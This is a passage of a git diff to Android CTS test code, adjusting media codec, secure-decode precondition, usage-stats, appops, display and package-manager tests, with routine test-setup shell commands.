                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
                 mExtractor.release();
 
@@ -463,12 +488,16 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", configRef.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                if (configRef != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky",
+                            configRef.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                    }
                 }
                 mExtractor.release();
             }
@@ -482,6 +511,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurfaceNative() throws IOException {
+        if (mSkipChecksumVerification) {
+            Assume.assumeTrue("vendor should be T or higher", VNDK_IS_AT_LEAST_T);
+        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         mActivity.setScreenParams(getWidth(format), getHeight(format), false);
@@ -496,6 +528,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlushNative() throws IOException {
+        if (mSkipChecksumVerification) {
+            Assume.assumeTrue("vendor should be T or higher", VNDK_IS_AT_LEAST_T);
+        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         mActivity.setScreenParams(getWidth(format), getHeight(format), true);
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 9c722c4f03c..72e4765a0db 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -263,6 +263,11 @@ public class EncoderColorAspectsTest extends CodecEncoderTestBase {
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
         Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
+        if (mSurfaceMode) {
+            Assume.assumeTrue("Surface mode tests are limited to devices launching with Android T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+        }
+
         if (mUseHighBitDepth) {
             // Check if encoder is capable of supporting HDR profiles.
             // Previous check doesn't verify this as profile isn't set in the format
diff --git a/tests/mediapc/AndroidManifest.xml b/tests/mediapc/AndroidManifest.xml
index 15a716ad00e..bbb193448bc 100644
--- a/tests/mediapc/AndroidManifest.xml
+++ b/tests/mediapc/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ca7a17a1484..37f0106e8c6 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -17,26 +17,34 @@
 package android.mediapc.cts;
 
 import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.mediapc.cts.CodecDecoderTestBase.WIDEVINE_UUID;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
 import static org.junit.Assert.assertTrue;
 
+import android.content.Context;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaDrm;
 import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
 import android.mediapc.cts.common.Utils;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.Network;
 import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
-
-import org.junit.Before;
-
 import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import org.junit.Assume;
+import org.junit.Before;
 
 public class MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
@@ -186,4 +194,43 @@ public class MultiCodecPerfTestBase {
         codec.release();
         return isSecureSupported;
     }
+
+    boolean isWidevineSupported() {
+        return MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
+    }
+
+    boolean isWidevineL1Supported() throws UnsupportedSchemeException {
+        boolean isL1Supported = false;
+        if (isWidevineSupported()) {
+            MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
+            isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
+            mediaDrm.close();
+        }
+        return isL1Supported;
+    }
+
+    boolean isInternetAvailable() {
+        Context context = androidx.test.core.app.ApplicationProvider.getApplicationContext();
+        ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        NetworkCapabilities cap = cm.getNetworkCapabilities(cm.getActiveNetwork());
+        if (cap == null) return false;
+        return cap.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET);
+    }
+
+    boolean meetsSecureDecodePreconditions() throws UnsupportedSchemeException {
+        Assume.assumeTrue("Skipping secure decoder performance tests as Widevine is not supported",
+                isWidevineSupported());
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("If Widevine is supported, L1 support is required for media performance " +
+                            "class T devices",
+                    isWidevineL1Supported());
+            assertTrue("Test requires internet connection for validating secure decoder " +
+                            "requirements for media performance class T devices",
+                    isInternetAvailable());
+            return true;
+        }
+
+        return isWidevineL1Supported() && isInternetAvailable();
+    }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 0c69346825a..96388826abb 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -18,19 +18,14 @@ package android.mediapc.cts;
 
 import static org.junit.Assert.assertTrue;
 
-import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
 import org.junit.Rule;
@@ -143,7 +138,7 @@ public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
             testCodec(null, 1080, 1920, REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
         } else if (onlyOneSecure) {
             testCodec(m1080pTestFiles, 1080, 1920,
-                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1, true);
+                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1);
         } else {
             testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
         }
@@ -151,21 +146,21 @@ public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
 
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
-        testCodec(testFiles, height, width, requiredMinInstances, false);
-    }
-
-    private void testCodec(Map<String, String> testFiles, int height, int width,
-            int requiredMinInstances, boolean secureWithUnsecure) throws Exception {
         mTestFiles = testFiles;
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(mFirstPair);
         mimeDecoderPairs.add(mSecondPair);
-        boolean bothSecure = true;
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean secureWithUnsecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
         int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
                 mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
+        boolean meetsPreconditions = (isFirstSecure || isSecondSecure) ?
+                meetsSecureDecodePreconditions() : true;
         // secure test should not reach this point if secure codec doesn't support PP
-        if (maxInstances >= requiredMinInstances || secureWithUnsecure) {
+        if (meetsPreconditions && (maxInstances >= requiredMinInstances || secureWithUnsecure)) {
             int secondPairInstances = maxInstances / 2;
             int firstPairInstances = maxInstances - secondPairInstances;
             if (secureWithUnsecure) {
@@ -176,8 +171,7 @@ public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
             }
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < firstPairInstances; i++) {
-                boolean isSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
-                bothSecure &= isSecure;
+                boolean isSecure = isFirstSecure;
                 String testFile = isSecure ? m1080pWidevineTestFiles.get(mFirstPair.first) :
                         mTestFiles.get(mFirstPair.first);
                 Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
@@ -186,14 +180,13 @@ public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
                         isSecure));
             }
             for (int i = 0; i < secondPairInstances; i++) {
-                boolean isSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
-                bothSecure &= isSecure;
+                boolean isSecure = isSecondSecure;
                 String testFile = isSecure ? m1080pWidevineTestFiles.get(mSecondPair.first) :
                         mTestFiles.get(mSecondPair.first);
                 Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
-                        mFirstPair.first, testFile != null);
-                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second, mIsAsync,
-                        isSecure));
+                        mSecondPair.first, testFile != null);
+                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second,
+                        mIsAsync, isSecure));
             }
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Future<Double>> resultList = pool.invokeAll(testList);
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 13203cc77ce..f67684e1841 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -16,28 +16,12 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import android.media.MediaFormat;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
 import android.util.Pair;
-
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.Assume;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.TestName;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
@@ -45,6 +29,12 @@ import java.util.Map;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 /**
  * The following test class validates the maximum number of concurrent decode sessions that it can
@@ -132,7 +122,9 @@ public class MultiDecoderPerfTest extends MultiCodecPerfTestBase {
                 checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
                         mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        if (maxInstances >= requiredMinInstances) {
+        boolean meetsPreconditions = isSecure ? meetsSecureDecodePreconditions() : true;
+
+        if (meetsPreconditions && maxInstances >= requiredMinInstances) {
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < maxInstances; i++) {
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 101dbc530c1..f5f44b05966 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -16,11 +16,16 @@
 <configuration description="Config for CTS Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsCurrentApiSignatureTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -30,8 +35,11 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="class" value="android.signature.cts.api.current.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="current.api.gz" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsCurrentApiSignatureTestCases" />
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/current-api/DynamicConfig.xml b/tests/signature/api-check/current-api/DynamicConfig.xml
new file mode 100644
index 00000000000..d26d3c990e9
--- /dev/null
+++ b/tests/signature/api-check/current-api/DynamicConfig.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+    <entry key ="expected_failures">
+        <!--
+         ! Each value in this section identifies an expected failure and is of the
+         ! form:
+         !    <failure-type>:<signature of class/member>
+         !
+         ! These entries are loaded by AnnotationTest which uses them to construct
+         ! an ExpectedFailuresFilter which discards them.
+         !
+         ! See go/triage-cts-signature-tests for more information and below for some examples.
+         !-->
+       <!-- Bug: 233719013 -->
+       <value>missing_method:java.util.Optional#flatMap(java.util.function.Function&lt;? super T,java.util.Optional&lt;U&gt;&gt;)</value>
+       <value>missing_method:java.util.OptionalDouble#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>missing_method:java.util.OptionalInt#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>missing_method:java.util.OptionalLong#orElseThrow(java.util.function.Supplier&lt;X&gt;)</value>
+       <value>mismatch_method:java.util.concurrent.ConcurrentHashMap.KeySetView#removeAll(java.util.Collection&lt;?&gt;)</value>
+    </entry>
+</dynamicConfig>
\ No newline at end of file
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index e8f341deeda..8ae8c9e321a 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -25,6 +25,9 @@
         <activity android:name=".SomeActivityWithLocus"
                   android:exported="true"
         />
+        <activity android:name=".FinishOnResumeActivity"
+            android:exported="true"
+        />
         <service android:name=".TestService"
                   android:exported="true"
         />
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
new file mode 100644
index 00000000000..dbe8a59359d
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public final class FinishOnResumeActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
index 1ac6331ff0e..0506ff1bab7 100644
--- a/tests/tests/app.usage/TestApp2/Android.bp
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -19,7 +19,6 @@ package {
 android_test_helper_app {
     name: "CtsUsageStatsTestApp2",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 3821929563a..63491b886e8 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -150,6 +150,8 @@ public class UsageStatsTest {
             = "android.app.usage.cts.test1.TestService";
     static final String TEST_APP_CLASS_BROADCAST_RECEIVER
             = "android.app.usage.cts.test1.TestBroadcastReceiver";
+    private static final String TEST_APP_CLASS_FINISH_SELF_ON_RESUME =
+            "android.app.usage.cts.test1.FinishOnResumeActivity";
     private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
     private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
     private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
@@ -549,6 +551,14 @@ public class UsageStatsTest {
                 startTime, endTime);
         UsageStats stats = events.get(mTargetPackage);
         int startingCount = stats.getAppLaunchCount();
+        // Launch count is updated by UsageStatsService depending on last background package.
+        // When running this test on single screen device (where tasks are launched in the same
+        // TaskDisplayArea), the last background package is updated when the HOME activity is
+        // paused. In a hierarchy with multiple TaskDisplayArea there is no guarantee the Home
+        // Activity will be paused as the activities we launch might be placed on a different
+        // TaskDisplayArea. Starting an activity and finishing it immediately will update the last
+        // background package of the UsageStatsService regardless of the HOME Activity state.
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         endTime = System.currentTimeMillis();
@@ -556,10 +566,9 @@ public class UsageStatsTest {
                 startTime, endTime);
         stats = events.get(mTargetPackage);
         assertEquals(startingCount + 1, stats.getAppLaunchCount());
+        mUiDevice.pressHome();
 
-        // Launch a new activity so the other sub activities go into a paused state.
-        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS);
-
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         launchSubActivity(Activities.ActivityThree.class);
diff --git a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
index f889e248539..9b82f5ca8fc 100644
--- a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
@@ -157,6 +157,8 @@ class DiscreteAppopsTest {
         uiDevice.wakeUp()
         uiDevice.executeShellCommand("wm dismiss-keyguard")
         uiDevice.executeShellCommand("input keyevent KEYCODE_HOME")
+
+        instrumentation.uiAutomation.waitForIdle(1000, 10000)
     }
 
     @After
diff --git a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
index 79a4fd88ee5..1ce4da320de 100644
--- a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
@@ -81,6 +81,8 @@ class ForegroundModeAndActiveTest {
         uiDevice.wakeUp()
         uiDevice.executeShellCommand("wm dismiss-keyguard")
         uiDevice.executeShellCommand("input keyevent KEYCODE_HOME")
+
+        instrumentation.uiAutomation.waitForIdle(1000, 10000)
     }
 
     @Before
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 91b6e367c0d..9a3075beee6 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBluetoothTestCases.apk" />
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
index dce993a13c2..d8f377b7016 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
@@ -18,6 +18,8 @@ package android.companion.cts.core
 
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_A
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_B
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil
@@ -54,15 +56,18 @@ class DumpSysTest : CoreTestBase() {
         assertFalse(out[1].contains("id=$associationId")) // But not present yet
         assertFalse(out[2].contains("u$userId\\$targetPackageName")) // App is not bound yet
 
-        // Publish device's presence.
+        // Publish device's presence and wait for callback.
         cdm.notifyDeviceAppeared(associationId)
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
 
         out = dumpCurrentState()
         assertTrue(out[0].contains("mId=$associationId")) // Device is still associated
         assertTrue(out[1].contains("id=$associationId")) // And also present
         assertTrue(out[2].contains("u$userId\\$targetPackageName")) // App is now bound
 
+        // Clean up
         cdm.notifyDeviceDisappeared(associationId)
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     @Test
@@ -78,15 +83,18 @@ class DumpSysTest : CoreTestBase() {
         assertFalse(out[1].contains("id=$idB")) // Device B not present
         assertFalse(out[2].contains("u$userId\\$targetPackageName")) // App is not bound yet
 
-        // Only publish device A's presence.
+        // Only publish device A's presence and wait for callback.
         cdm.notifyDeviceAppeared(idA)
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
 
         out = dumpCurrentState()
         assertTrue(out[1].contains("id=$idA")) // Device A is now present
         assertFalse(out[1].contains("id=$idB")) // Device B still not present
         assertTrue(out[2].contains("u$userId\\$targetPackageName")) // App is now bound
 
+        // Clean up
         cdm.notifyDeviceDisappeared(idA)
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     /**
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
index dd9d10f85c1..599be5ca9fd 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
@@ -103,7 +103,8 @@ public class InstallSessionCleanupTest {
         final List<PackageInstaller.SessionInfo> allSessions = mPackageInstaller.getAllSessions();
         List<Integer> result = new ArrayList<>();
         for (PackageInstaller.SessionInfo sessionInfo : allSessions) {
-            if (sessionInfo.installerPackageName.equals(installerPackageName)) {
+            if (sessionInfo.installerPackageName != null
+                        && sessionInfo.installerPackageName.equals(installerPackageName)) {
                 result.add(sessionInfo.sessionId);
             }
         }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index c3b8a213554..7f4b94035c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -67,6 +67,7 @@ import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.platform.test.annotations.AppModeFull;
 import android.util.PackageUtils;
 
@@ -1535,6 +1536,7 @@ public class PackageManagerShellCommandTest {
     @LargeTest
     @Test
     public void testCreateUserCurAsType() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
         Pattern pattern = Pattern.compile("Success: created user id (\\d+)\\R*");
         String commandResult = executeShellCommand("pm create-user --profileOf cur "
                 + "--user-type android.os.usertype.profile.CLONE test");
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 2d44420568c..fcb33a29399 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -554,12 +554,17 @@ public class DisplayTest {
         Display display = getSecondaryDisplay(manager.getDisplays());
 
         Point outSize = new Point();
-        display.getSize(outSize);
+        display.getRealSize(outSize);
 
         DisplayMetrics outMetrics = new DisplayMetrics();
         outMetrics.setToDefaults();
         display.getMetrics(outMetrics);
 
+        assertEquals("Secondary display real size width is unexpected; height: " + outSize.y
+                + " name " + display.getName() + " id " + display.getDisplayId()
+                + " type " + display.getType(), SECONDARY_DISPLAY_WIDTH, outSize.x);
+        assertEquals(SECONDARY_DISPLAY_HEIGHT, outSize.y);
+
         assertEquals("Secondary display width is unexpected; height: " + outMetrics.heightPixels
                 + " name " + display.getName() + " id " + display.getDisplayId()
                 + " type " + display.getType(), SECONDARY_DISPLAY_WIDTH, outMetrics.widthPixels);
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
index 1d21b2d176a..93ccd050850 100644
--- a/tests/tests/dpi/Android.bp
+++ b/tests/tests/dpi/Android.bp
@@ -25,6 +25,7 @@ android_test {
         "ctstestrunner-axt",
         "junit",
         "compatibility-device-util-axt",
+        "cts-wm-util",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index d47274c6cb1..5db5f661d61 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
